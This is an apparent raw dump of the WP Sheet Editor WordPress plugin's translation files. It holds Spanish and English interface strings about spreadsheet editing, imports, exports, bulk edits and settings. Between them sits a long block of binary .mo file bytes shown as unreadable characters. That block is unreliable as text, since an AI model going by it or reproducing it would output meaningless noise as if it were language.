tengas 1000 filas , puede que quieras abrir la hoja de cálculo y empezar a editar desde las fila 200. Esta opción te permite saltar muchas filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas 1205 como desplazamiento, la hoja comenzará desde la página 120 (índice 1200) porque es la página más cercana al desplazamiento definido.Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita esta opción para reutilizar las imágenes de la biblioteca multimedia con el mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras importaciones. Desactiva esta opción si quieres mantener las imágenes actualizadas en futuras importaciones.Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede causar problemas si tienes miles de columnas o configuraciones raras en tus bases de datos.Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar filas y cargarlas manualmente.Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de usuarios, por defecto solo removemos el usuario del sitio actual. Habilita esta opción para eliminar al usuario de toda la red.¿Qué duplicados quieres eliminar?¿Qué filas quieres exportar?¿Qué variaciones quieres copiar?AnchuraCon nuestro editor podrás editar toda la información de
                  tus %s, ahorrándote mucho tiempo.Con estos archivosCon estoCon este archivoCon este términoWooCommerce - Integración BASICAIntegración con Productos WooCommerceCupones WooCommerceHoja de Cálculo de Cupones de WooCommerceHoja de Cálculo de Clientes de WooCommerceHoja de Cálculo de Pedidos de WooCommerceProductos WooCommerceCampo en WordPressCampo en WordPressWordPress utiliza la API de heartbeat para comprobar el estado de inicio de sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que podría hacer cientos de peticiones cuando se está editando en la hoja de cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de cálculo abierta durante varios días, tu sesión de inicio de sesión puede caducar y no se te notificará si dehabilitas el heartbeat, lo que puede causar problemas al guardarla. Así que usa esta opción sólo cuando uses la hoja de cálculo durante unas pocas horas.Tipo de escritura no permitida.Formato de datos incorrectoExtensión del archivo incorrecta. Sólo aceptamos archivos CSVURL del archivo incorrectaTipo de producto equivocado. Asegúrate que sea un producto variable.XYOAST SEOAñosSíSí, eliminar todo lo que aparece después del texto, incluyendo el textoNo puedes realizar esta acción. Por favor, recarga la página o inicia sesión de nuevo.Puedes habilitar esta opción si quieres añadir clases html, y usar esas clases html para cambiar los colores de las celdas para cada estado usando CSS personalizadoPuedes cambiar el idioma de esta entrada. Si existe la traducción para el nuevo idioma, este cambio no se aplicará.Puedes convertir productos simples en productos variables. Puedes copiar las variaciones en un producto simple y mantener los precios del producto simple en las variaciones.Puedes crear nuevas filas aquíPuedes hacer esto varias vecesPuedes editar tu información multimedia como:Puedes editar la información de tus productos WooCommerce como:Puedes encontrar todos los ajustes aquí, como la visibilidad de las columnas, etc.Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de preguntasPuedes cambiar el tamaño del editorPuedes buscar por cualquier campo usando operadores. Por ejemplo: precio > 100, imagen != (vacío)Puedes seleccionar las filas a editar en la primera opción de este formulario.Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por favor, sigue estos pasos.Puedes utilizar variables para insertar el valor de cualquier columna.No tiene suficientes permisos para borrar filas.No tienes suficientes permisos para crear nuevas filas.No tienes suficientes permisos para realizar esta acción.No tienes suficientes permisos para ejecutar esta acción.No tienes suficientes permisos para cargar filas.No tienes suficientes permisos para guardar los cambios.No tienes suficientes permisos para buscar taxonomías.No tienes suficientes permisos para ver esta página.Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo. ¿Quieres recargar ahora?Has modificado filas. Por favor, guarda los cambios antes de eliminar columnas de la hoja de cálculo.Debes ingresar un nombre de archivo en este campo (no la ruta completa) y subir el archivo a la carpeta %sDebes ingresar la jerarquía completa como padre > hijoTienes que configurar la API key de Google Maps para poder guardar valores en las columnas de mapas de Advanced Custom Fields. Esto es requerido por Advanced Custom Fields, puedes seguir este tutorialNecesitas cargar las filas manualmente porque desactivaste la carga automática de filas. Cambiar los ajustesNecesitas iniciar sesión para ver esta página.Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, puedes cambiar el color de fondo, el color de los enlaces y establecer un menú de navegación de la cabecera.Seleccionaste 0 filas para borrarlas completamente.Seleccionaste una columna del archivo CSV de abajo, pero la columna no está
                  siendo importada. Por favor, ve al paso anterior y selecciona la columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos existentes con el mismo ID, necesitas importar la columna ID, de lo contrario no tenemos los ID para encontrarlos.Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los guardaremos automáticamente con formato. Esta conversión se producirá cuando guardes y no en directo cuando edites en las celdas y verás los valores modificados en la siguiente recarga de la hoja de cálculo.Podrás escribir el título de la entrada en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre del término en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre de usuario en la celda y ésta mostrará un desplegable con sugerencias.El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, pararemos la importación completamente.vacíoEs destacado?oFecha finalSe eliminaron {deleted} duplicados.{total_created} de {total} variaciones han sido creadas.Se combinaron {updated} atributos.Se han guardado {updated} elementos de {total} elementos que necesitan guardarse.modules/wp-sheet-editor/lang/vg_sheet_editor-es_PE.mo000064400000640304147600365160016674 0ustar004)\S o>!oS`ooPzpvpBqZqqqqqqMqG r.RrrMrrsBt*uuYuVvKw'OwpwwwDpxyz{|}p7}}BNw2L`Jt^Lj&0XBkJM.JFMNl @5v2Ҙb{~x)mߞMm!ѡ]/D/tĢţգݣ"$HAB2u}0 #1ASdw^UG#e@;[,{ƨ/ܨ( ,5b$z\V:A<=~/=5*%`ì=Ԭ :;v}a,2FMy9Ǯ*<Rgv gG`o ϱH ^k  =IJ 9$^R%\xշQȿ*d u !* 1"?`bH% 6@Z r !$( . < J U3aJ.  *&@g a"/5 es.| R.+)ZH-&)nP(1>*!i1 * 6) `lu" % DP U `n~ w{p) ! 38@ y 00- R8 (" 3#T2xL^+W&7-.@H3S"J*m. !7 A&24&[ds   * : GQ HR c 4  w4 "!#)((R{[Fm2  &@ U:c612 CM S aov  5*9M( Z*+j-OQ- ,n!.4'c(.O$~(kqCbD,WJ\y01K\^ :45+jd  !&7> Y6g  ,)@O^dw ; Y2  yWcW5@& &3NVg7xGF? P \g o z W 2(.+W++&& /) &Y :  ' % 8& _ ?v j i!  ` u e n E[ n bs1$#   $#:^wu{i} D_'Q*y46 #- = HT k x t '/> E P\ty~2   Q hv { *,( ( 6Ca>pW6:>y*@ <FK[yZ7' _m  ;# (  .  9 F ` e y     #  ! !%!*!-!=!V!(k!q!"@" \" h",u" ""+"#%|&&$&&&&!&' (8((,(e)&)))))* *** (* 5*A*G*N*b*Ck***'* *<+bC+(++1l,C,/,:-eM---+-".;.7.k.sg/// /#/#!0 E0O0j0 00 0'00000 11 11&1X1*k111 1 1 1 222%2.2 2 2 3+3E3uX33,3, 4.:4.i4-4A4A5!J5!l5"555$5 6"666 66 6$7477s8<9rA99 999G9A:%J:p:":: ::z:;F;v;;;/< H<S<W<i<y< < < < <<< < < <= = = = .=9=J=Z=p=!= === ="=&>55>k>(>> >>> >&?/?F?^O????"?@ @%"@H@Y@#r@@@d@I(A@rA(AA A ABB4B JB"TBwBB<B=BC:'CbC uCCCC CCCCC"D3DMD(]D$D DDDDDDEy5EE&DFpkH^H;I@IXIqIxIIIII)I JJ;JLJcJtJ{J J1J"JJJJKK4KLJLhLpLvL{L8L*LLpM{HNN$N\P*`PSPEPW%QB}QQ/RbR,WxXoXRZB[[i[$b\'\ \%\\0y]$^D_!`$6`6[`-`A`^agaaWaW!bDybBbTc+Vc3c=d}dre'pg8gg@}hhHfiLi/i,jjel[lAGmKmAmnknPoopp3 r+>rjr~r rrrhAssRtXtu u,uAu'v0v5v9vBv Rv`v'uvv'w77w ow|wwwww w*wx x"%x9Hx9xxtxNycy+wy+y yyy z.zFzOz8Uzz)zzz zz{{{{ {{{{|| | !|+|;|Q|g|x|.||||c|a}Jp}\}*~lC~e~DU[!iQ=-E5O= 3^n?s>Jo7>14pCoƐ96pPV]3x#1Г#&;B5~@5:K#13ܕ.raʙ3iԜ>̝`X+'.!V%xf  &5D"d!ݤ!1Jd(v7 9N6z9W)v8A٪9UOoFX8_+4Ĭ38-.f1:ǭ3B6YyuӮ]I]5;6$::ò$g#feIX: @MP'S.{&8ѷ% B0Ws˹Tyy ̻XLY-Լ^G*\EͿeL'[e |@8T)\s2Q^kW(|9iEmWCk\U B/+[EZ'@&-CqXA~#1lU `0V-$$ -!,@Wm2W & 0Gx # $-dRc "<_}<%"&*E;p#9=)9g 2vl{CGHOP=RJ1)|% XU(]HZ!3|?`CQ3 LVL Y1s #$6>^S&   - UM     h z WD>*2vR !y"B#S$n%%%%% % %%&/& J&U&^&2w&r&!'?'ZG'' '$'' (#(@( Y((f(3(( ((()),)>>)U})2)**8*9S******o*k+B++ +;+ *,7, N, X,`b,2,/,K&-r--.-/-o..q..0.I.#./8R/ /4/!//80;0K0R0;j0#00001#11 U1-a111 1 1 11#11 2 )262K2c223'4 C4O4d4~4:45 555=6 D6 P6]66x6?6B6U277 77,747,!89N8<838H8iB9~95+:+a:@:*:7:!1;QS;G;P;1>= p=~=5?5Q?5?? ?-?G@W@#@9A@KA AAAAAABB2BNBmBBBB B B+BDD"&DIDiD D2DDDDE E*EEE E E4 G2AG<tG<GGHQISIAdIIII*IJ1JH@J?J3J J>K FKPKdKwK KKK$KKL LQ:LLLLL}M7M1MmN nN9zN NNFOO|Pb@QRgR%S:S#T2T5ET{T}UU-U+U(V9V+V)W,0W]WxWXrXC YBOYYY7ZZ[a[H\"\\)\8\<\#]VC]h] ^> ^L^'Q^y^;^2^k_ l_v____#____A_9`S`o` `(`A`+`*a;aLaRamaaaaaIab'bEb|dbcc dd3dIdemkf]f7gg?hXOi i5iij j *j+4j`jij{j>jbjP.kk kkkk kkk llkllCm.o2Io|oo>o<o0p-?p1mp1p.p>q1?q?qq q&q@q8:rsrNrrZsshsPttouIu:vvS<ψ7#8%^Pd ۊ '/8Ff&@ Ne G'#+O W co&؍/;@R  Ď ǎ0#T!I Yf4z Wܐ4J%1W+Z *n-L̗":<kw>"=Y$w ™ ϙݙ CTqDxY͚l'.Û7}V4 cAz" ,C5p'ΞH]J ʠԠ #%*I t~ *ʡӡ  #01b4y!Т" ,>OV_L ] kFyۤb2v2:ܥ<6TTV173i.*̧.@_%$ 6.A1p)yInSɬ .)X0pحݭ?a*0@Lʯ1BRp  ̰!!9[-{.ر.-3Da$.˲)> ]5j$ųZԳ/6N'd 0" ,-"Z}{QKd(ٶ&")Is .ҷNN=E!A Zgw4$/:*j  ú/Iݻmp޾hc̿Կ. No3-#$6[v }A5  $@eRSl&Q9 ISY6s4sJ gtW+WYPmF_=p:6&qzYm;Z*N($Fk*!"6DT{xIT\! |,$&%'CbS1O0/B6-yZy||UyOT`n(bOzJT1BK'R[;zmwrGXLXFn+L4F)Fp_ 9(bQ' y22M-^AT+#O34<q+C1=:x2~   !. 6 BO_v +h Uv.`~xGj':bP68o;   S| 7    ^`@DQ;y=;6 >HCeI!5?R<M2:@mHKbi-iX!km""s#3%&'(#T)x)"))b)%*8*A*R*!d*&****+**+C+Y+l++.!.?=.}.E.. ...I.Y>//u?00c11.1@1S2Of2$2b2O>3f3F30<47m4:4:4158M57555N5^C6x6f7j777*%8P909-:@:Q';y<g=e>cg>K>?? ?? ?#?8@"O@Qr@?6% 0L{Uv3|4>Bi`ZP?r ZW}I{{_oyoe Ds{h9fGOW:(i@=ddgmU z&3h`S .( '&R \Ka X gqCr-Ht&<a _b] }(,#]0RF.Ah6 `[v.%r#aZ_/4ewVTn X_nks/~,!Kwlc`GS$.[ >smR%Bw747 pNgNZ;2 A?*TMTIf")+9A-1L0\Xi69*kqtCDx9,jp# @DQa8HxLQ,oxOfo35 l-*"4Ck y.[eKO7G[F, u+no"Q&#O^j9[ y=^$8@^Y1_(->W/:}8'EpEq:(Q@:!1P#\q8'+%KJ\mLRu G!(dBI^hei~}<J8bV6.:z\2S |m ll1K4|5J?" ~s Q#MPaN2 /r<d,Ss5 jkX-U y2V3"I!5Y3<ut}W ccnf>`3PJ)%b1Ag)A N0hcCD&T~)q;6fYz*OZ')*7C /G>jE+Ie%l VFv;&|!bi' ]+Bu$wJ0cESYF]@L$xy$~z?v+MpX'Yp5 x$PB=wVW;MNb) m;4H]t-zdFMr"H0ukv*RU{2Tt=27H/UDEg=<|1^!nj (You can remove these help messages in the advanced settings) (Premium. Try for Free for 7 Days) If it doesn't start automatically you can find the file in the folder /wp-content/uploads/wp-sheet-editor/exports/ on your server.

                  The export files are deleted automatically after %d hours. Some columns have the button to change the formatting%1$d of %2$d items have been processed from the file. {total_updated} items updated and {total_created} items created.%s rows will be edited.%s variations created.%s: Allowed spreadsheet views(Install free extension)(Pro extension)- -- First, edit one item in the normal editor and fill all the fields manually.- If the previous solution failed, you can create new columns manually.- Maybe you deleted the columns from the list.- We can help you.- We can scan the database, find new fields, and create columns automatically. Lite version. Showing all products and all fields as columns, 15 columns are editable and the rest are read only.
                  Upgrade: Edit in Excel/Google Sheets, export, import, bulk edit thousands of products at once.. Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work. Add child categories using this format: Parent > child1 > child2. We recommend you increase the server memory to at least 256mb to prevent server errors. Tutorial...1. Are we reading the file properly? Here is a preview of the first 5 rows from the file.2. Please make a backup before executing the import, so you can revert in case you used wrong settings or the file was wrong. The import will save the information directly.Read moreEditing the field: {field_label}Money back guarantee. Buy the plugin without worries. We'll give you a refund if the plugin doesn't work.Tip from WP Sheet Editor: Edit thousands of categories at once, make advanced searches, view all the info in one page, and more.Tip from WP Sheet Editor: You can view all the users in a table, view thousands of full profiles, edit hundreds of users at once without crashing your server, view all shipping/billing/buddypress information. Make advanced searches, create hundreds of users, and more. Download PluginTip from WP Sheet Editor: You can view and edit Product Variations in a spreadsheet, bulk edit, make advanced searches, edit hundreds of variations at once, copy variations to multiple products, etc. Download PluginTip: The formula execution is too slow? Save more posts per batch
                  Are you getting errors when executing the formula? Save less posts per batchTip: The saving is too slow? Save more posts per batch
                  Are you getting errors when saving? Save less posts per batchWP Sheet Editor: You can view all these variations and edit them all at once in our spreadsheet. Open in a spreadsheet
                  Use the coupon: %s

                  The export finished.

                  The download should start automatically.

                  WP Sheet Editor

                  Do you want to install the premium plugin that you purchased? Follow these steps:

                  1. If you were using the free version of the plugin before the purchase, you need to uninstall the free version now
                  2. When you purchased the plugin, you received an email with the download link and license key
                  3. Now go to this page and click on the "Upload" button at the top
                  4. Upload the premium zip file
                  5. Activate the plugin
                  6. You will see a screen asking for a license, enter your license key
                  7. Done. Now you should see the welcome page where you can set up the plugin and start using it

                  If you need help, you can contact us

                  Missing column?

                  or
                • Shop manager role can view and edit WooCommerce products.
                • Add a "duplicate" tool to the spreadsheet. You can select one row (post, product, coupon, etc.) and create a lot of copies.

                  Example. Create 100 products with the same tags, dimensions, attributes, and variations. And only change a couple of fields manually.

                  Advanced Custom Fields metaboxes appear in the Spreadsheet Automatically. So you can edit custom fields easily.

                  Create new spreadsheets with custom columns and Share the Spreadsheets with your Users or Employees on the Frontend. Useful for marketplaces where vendors should edit products in the spreadsheet, allow post or event submissions on the Frontend, events directories, Web Apps, Custom Dashboards, etc.

                  Edit Hundreds of Posts at Once with just a few clicks. Search and replace, Replace urls and phrases, save values to fields in bulk, copy values between fields, merge fields, etc..

                  Examples: Copy regular price to sale price, update product attributes names, etc.

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced math formulas. Example, increase prices by 10% , manage inventory , etc. Run any math formula.

                  You can use multiple fields in the formula, for example, "Regular price x Inventory / Sales price

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of products, including Variable Products, Downloadable Products, External Products, Simple Products. You can edit all product fields in the spreadsheet, including attributes, images, etc.

                  Edit WordPress users in spreadsheet, edit only basic profiles and make basic searches.

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including custom fields. Add new columns to the spreadsheet, Good for ecommerce stores, membership sites, events directories, business directories, user directories

                  Edit default post fields in spreadsheet.

                  Edit restaurant menus, courses, projects, portfolios, and all custom post types.

                  Find posts by keyword, taxonomies, author, date, status, or custom fields.

                  Search in multiple fields with advanced operators: =, !=, <, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio with stock < 20, or products from category Apple without featured image, or products containing the keyword "Google" without image gallery.

                  It is the best way to manage your comments, WooCommerce customer reviews, event reviews, testimonials, and order notes in a spreadsheet. You can make advanced searches by any field (keyword, order note, status, find comments by post type, and all the fields). You can bulk edit them, delete all at once, export them to excel or external systems, import comments and reviews from other systems, and more.

                  One Spreadsheet for Every Custom Database Table added by other plugins. Live edit in the cells, Bulk Edit, Make advanced searches by any field, export and import, bulk delete, move information between sites, edit thousands of items, and more.

                  One spreadsheet for categories, tags, product attributes, event categories, portfolio categories, real state tags, etc. View and edit all the items in one place, copy paste, upload category images quickly, add descriptions, edit SEO, etc.

                  Resize columns in the spreadsheet and save it for future sessions.

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, Advanced Search by any field , Auto generate hundreds of coupons, Update hundreds of coupons at once, and more.

                  View all the EDD products in a spreadsheet, create downloads and files in bulk, edit hundreds of products at once using formulas, Advanced searches using multiple fields, etc.

                  View all the events in a spreadsheet, create events in bulk, edit hundreds of events at once using formulas, Advanced searches using multiple event fields, etc.

                  View all your Customers in a Spreadsheet. View full profile, Edit Profiles Quickly, View Billing and Shipping information, Make advanced customer searches, Export Customers to Excel or Google Sheets, Import Customers from External Applications

                  View and dispatch all the Orders quickly. Advanced Search by any field (shipping method, taxes, VAT, payment methods, customers, products, etc), Export orders and customers information including guest customers; edit thousands of orders quickly, and more.

                  View the image, videos, and all the files from the WP Media library in a spreadsheet. Edit all the file fields, including alt text, image captions, file descriptions, Advanced Search by any field , Auto generate alt text, captions, etc. using the parent post title or categorías, Update thousands of files at once, and more.

                  You can auto fill cells (copy) by dragging the cell corner into other cells, as you can do in excel.

                  You can create columns for custom fields.
                  Edit page settings added by your theme, event details, products information, etc.

                  You can rename the columns of the spreadsheet.
                  Example. Instead of showing “Post author” on the spreadsheet, you can change it to “Uploaded by”.

                  You can show, hide, and sort columns in the spreadsheet.

                  Editing the field: {column_label}. Items to process: {total}, Progress: {progress_percentage}%%, We have updated {edited} items.

                  1- Please backup your database before executing, the changes are not reversible.

                  2- Make sure the bulk edit settings are correct before executing.

                  Complete

                  .

                  Free extensions

                  Send email notifications to users in bulk, and create advanced segments using the advanced search.

                  For example, you can filter a spreadsheet of customers/users/forum users/affiliates/blog commenters by country, city, state, orders count, etc and send them important emails.

                  We recommend that you use a SMTP plugin to improve the email deliverability and take into account the users consent and privacy laws.

                  The automatic saving failed. Your changes were not saved completely due to an error. You can try again later, if the error persists contact our support team and keep this tab opened

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk edits.

                  The bulk edit was not applied completely. The process was canceled due to an error.

                  You can close this window.

                  The changes have been scheduled. You can close this popup. View scheduled changes.

                  The changes were not saved completely. The process was canceled due to an error .

                  You can close this popup.

                  The export has been scheduled. You can close this popup. View scheduled exports.

                  The import has been scheduled. You can close this popup. View scheduled imports.

                  The import has finished

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  The process has finished

                  This includes spreadsheets to manage Donation Forms, Donations, and Donors. You can bulk edit, export, import, and quickly manage your donations website created with GiveWP

                  You can edit simple products only. Available columns: title, url, description, date, SKU, regular price, sale price, stock status, manage stock, stock quantity.

                  More columns and product types available as premium extension.

                  Do we deserve a 5-star review? Yes, you deserve it . - . NoA column is missing?A column is missing? Enable itA field is missing? Click hereACF: Show checkboxes as multi select dropdowns?Accept post from this post typeAccept terms from this taxonomyActionActivate full screenActivate this option to remove the pagination buttons and load rows automatically when you scroll down. You will see all the rows at the same time, you can load thousands of rows without problems.Active filters:Active.Add NewAdd New Columns to the SpreadsheetAdd New SpreadsheetAdd a name for this group of columnsAdd call to actions or any text at the beginning or ending of your postsAdd columns for custom fieldsAdd hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Add html classes to the "post status" cells based on their values?Add newAdd new columnAdd new post typeAdd time to existing datesAdministrator role can view and edit everything.Advanced Custom FieldsAdvanced SearchAdvanced SettingsAdvanced modeAdvanced searchAdvanced settingsAll SpreadsheetsAll changes saved.All items have been saved.All the features available in the backend spreadsheet can be used in the frontend spreadsheet.All the parameters will be used to search on variations instead of the main products.All the products in the storeAll the rows from my current searchAll the variable productsAllowAllow backordersAllow line breaks in values during the export and import processAllow multiple files per field?Allow multiple posts per field?Allow multiple terms per field?Allow safe html in post titles?Allow to edit this column on variation rows?Allow to edit using formulas?Allow to hide column?Allow to hide this column on the settings page?Allow to import images from FTP servers?Allow to rename column on the settings page?Allow to rename column?Allow to see the variation URL slug?Allow users with the capability unfiltered_html to save any html in the post content column?Allow your Users to Edit Custom Fields, Add new columns to the editor, Enable fields, disable core fields, and sort fields. You can customize the frontend editor completely.Allow your clients to edit WooCommerce Products using the spreadsheet without wp-adminAllow your marketplace sellers to bulk edit their productsAllow your marketplace sellers to import products on the frontendAllow your readers to submit blog posts using the spreadsheetAllow your store buyers to download the catalogAllow your store customers to make advanced catalog searches Allow your store employees to manage stock and pricesAllow your visitors to publish eventsAllow, but notify customerAllowed valuesAlready downloadedAlternative textAlways run the save_post action after any post row is edited?And more.And see previews while editingAny of these values (Enter multiple values separated by ;)AppendApplication/SoftwareApply changes in bulkApply settingsAre you sure you want to delete the post type? You will delete the posts in the post type as wellAre you sure you want to delete this column?Are you sure you want to delete this columns view?Are you sure you want to delete this scheduled job and all its related files?Attach every taxonomy term in the hierarchy to the posts?Attribute %d defaultAttribute %d globalAttribute %d nameAttribute %d value(s)Attribute %d visibleAttribute nameAttribute value(s)Attribute visibilityAttributesAttributes appear as dropdowns in the product page where the user can select the variation colors, sizes, and any attribute. Here you can define the default options selected in the dropdowns.
                  Separate values with the character %s
                  This only works for Variable Products and it must have variations, otherwise the default attributes won't be saved.AuthorAuthor role can view and edit his own posts only, he can upload images.Auto (Default)Auto retry failed batches?Autofill cellsAutomaticAvailable componentsAvailable spreadsheetsAvailable tools (optional)Average ratingBackendBackorders allowed?Backwards compatibility. This setting will be removed in future updates.Basic searchBlacklist these columnsBulkBulk EditBulk Update featureBulk actionsBulk edit columnBulk edit not executed. No items found matching the criteria.BuyBuy bundleBuy extension now!By default WordPress shows a black bar at the top of the page when a logged in user views a frontend page. The bar lets you access the wp-admin, log out, edit the current page, etc. If you enable this option we will hide that bar and you can use the shortcode: [vg_display_logout_link] to display the logout link.By default dates show in a calendar, post content has a text editor option, images show preview, etc. you can enable this option to display everything as plain text and disable the fancy formatting.By default we automatically show columns for all the new fields found, so everytime we detect new fields you can see them and edit right away. But this might "break" your column sorting or annoy you if you have enabled specific columns. Enable this option to generate those columns but leave them deactivated so you can enable them later.By default we show comments in some columns indicating the value format or why they are locked. for example, the category column shows a tip indicating to separate terms with a comma and how to add child categories, variation columns have a tip indicating why they are locked for parent products. You can activate this option to disable those tips.By default we show the CORE statuses: published, draft, private, scheduled, trash. However, some plugins register custom statuses: job managers, woocommerce. Enable this option to show all the custom statuses in the "status" column. CAREFUL. We will show all the statuses from all the post types in the dropdown because it is impossible to know the post type of each status to we can not separate them. Do this only if you are a developer.By default we show the categories as names separated by commas. Activate this option to display and save term ids separated by commas.By default we show the categories as names separated by commas. Activate this option to display and save term slugs separated by commas.By default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite listBy default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite list.By default we will copy all the attributes and all the variations and replace the existing variations. You can activate this option to copy individual variations and append them to the existing variations in the target product.By default, for performance reasons, we trigger the WC API events when fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, Type. Activate this option if you want to trigger the WC API events when any field is edited, including fields unrelated to WC.By default, if the product is variable, we activate "used for variations" to save you time, so you can create your variations faster. But if you prefer to manually activate it on specific attributes, you can activate this option.By default, the "parent" column displays titles and saves using titles. If you activate this option, the column will display IDs and save IDs. This is useful if you have duplicate titles and you need to save the exact parent by ID.By default, the importer allows to save images using full internal URLs, external URLs, file name (from the media library), and file ID. If you activate this option, it will support FTP urls like this: ftp://user:password@host:port/path/to/image.png. This will make the import slowerBy default, we create 100 copies per batchBy default, we export and import one column named "Images" with the featured image and gallery images combined. Activate this option to export and import one column with featured image and one column with gallery imagesBy default, we make the attributes visible in the products when you save any attribute in the spreadsheet to save you time, but if you prefer to manually activate it on specific attributes, you can activate this option.By default, we only attach the last term in the hierarchy to the posts because WordPress automatically handles them correctly. But if you want to assign each term to the post, including the parent categories, activate this optionBy default, we only display 30 characters. You can increase the number here to view larger previews.By default, we remove any unsafe html from all the spreadsheet columns before saving the values. You can activate this option if you want to allow the WordPress super admins or administrators to add iframes, ad codes, etc to the post content. Use it at your own risk.By default, we run the save_post action only when a post data field is updated (fields other than meta and taxonomies) for performance reasons. Enable this if other plugins aren't detecting our changes or webhooks aren't running.By default, we show all the columns in the app modules (advanced search, bulk edit, export, import, etc), even if they're disabled in the columns manager. Activate this option to only display enabled columns.By default, we show every checkbox as a separate column, but if you have checkboxes with many options you might want to use one column with a dropdown instead.By default, we show the file name as a preview next to the thumbnail, you can activate this to show the thumbnail and upload buttons onlyBy default, we show the label in the cell instead of the raw value. But you can enable this option to display the raw value in the cells.By default, when you export the featured image column or gallery columns, we add the file ID to each image url so we can import them later faster. You can activate this option to not add the file id and the import will work fine later but it wont be as fastBy the default, the import stops when a product references a broken images and you have to correct the issue in the file and start a new import. Enable this option and we will let you import products without images when the image url is brokenCHARACTER LENGTH <CHARACTER LENGTH >CONTAINSCSV ColumnCSV FieldCSV fileCSV file from my computerCSV file from urlCSV file in the serverCSV file locationCalendarCancelCancel importCancel the changes and close popupCapitalize the first letter of every word in the field. I.e. convert "my title" into "My Title".Capitalize wordsCaptionCareful. The changes are not reversible. Please double check proceeding.Category name...Cell typeChange attribute settingsChange background colorChanges savedChanges saved successfullyCheckboxClear valueClick here to export the settingsClick here to show all columns againClickable buttonClicks avoided
                  (estimated)CloseColumn formatColumn groupsColumn keyColumn nameColumn not found. Try with another search criteria.Column removed. Go to "settings > hide/display columns" to enable it againColumn settings defined in the columns managerColumn sizesColumn titlesColumn width (pixels)Columns could not be saved. Try again.Columns created manuallyColumns limitColumns managerColumns renamingColumns resizingColumns restored successfully, please reload the page to see the restored columns and enable themColumns visibilityColumns visibility and Custom Fields (optional)Comment countCommentsComments, Reviews, and Order Notes SpreadsheetContact usContains keywordContentContinueContributor role can view and edit his own posts only, but he can't upload images.Copy & paste from another spreadsheet or tableCopy and Paste into the spreadsheet belowCopy files from this product: (You need to save the changes afterwards.)Copy from other columnsCopy from this columnCopy regular price and decrease by percentageCopy regular price and decrease numberCopy the value of other fields into this field.
                  Example, copy "sale price" into the "regular price" field.Copy the variations into these products.Copy variationsCopy variations and attributes from this product:Copy variations faster: Number of variations to copy per batchCopy variations from this productCreate and copy variations for variable products.Create columnCreate new items and update existing itemsCreate this number of variationsCreate variationsCreate variations for every combination of attributes?Cross-sellsCurrencyCurrent spreadsheetCustom Database Tables SpreadsheetCustom attribute namesCustom attribute: %sCustom columnsCustom formulaCustom post typesCustomize featuresDark modeData missing, try again later.Data sourceDateDate (GMT)Date and timeDate range fromDaysDeactivate the data prefetchDecimals separatorDecode quotes?Decrease byDecrease by numberDecrease by percentageDecrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Decrease the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Deduct a number of hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Deduct time from existing datesDefaultDefault attributeDefault attributesDefault sort orderDefault: 4. When you enter an external image URL in any image cells (or during the import), we download the image file into the WordPress media library and save it in the field. By default, we limit the download time to 4 seconds, any download that exceeds that number of seconds will be cancelledDeleteDelete allDelete completelyDelete fieldDelete posts faster: Number of posts to delete per batchDelete rowDelete rowsDelete serialized fieldDelete the attached images when deleting a post?Delete the newest items and keep the oldest itemDelete the old items and keep the newest itemDelete user accounts in the entire network when deleting users in the spreadsheet?Demo videoDescriptionDisable allDisable cells lazy loading?Disable column. You can enable it later.Disable extension offerings?Disable post actions while saving?Disable product inventory stats?Disable serialized columns support?Disable the addition of file ID to the image URLs?Disable the automatic activation of "is visible" for attributes on products?Disable the automatic activation of "used for variations" for attributes on variable products?Disable the automatic formatting detection?Disable the automatic loading of rows?Disable the display of file names in the image columns?Disable the full screen mode?Disable the heartbeat api in the spreadsheet?Disable the help toolbar?Disable the popup that asks you to install important extensions?Disable the replacement of line breaks with p tags?Disable this if you are using a object/database cache plugin. We disable this by default to make the saving faster, when you edit a lot of posts WordPress tries to "clean up" the cache even if you are not using a cache plugin, making hundreds of unnecessary database queries.Disable usage stats widget?DisabledDisconnecting the current site from your Google account and the WP Sheet Editor 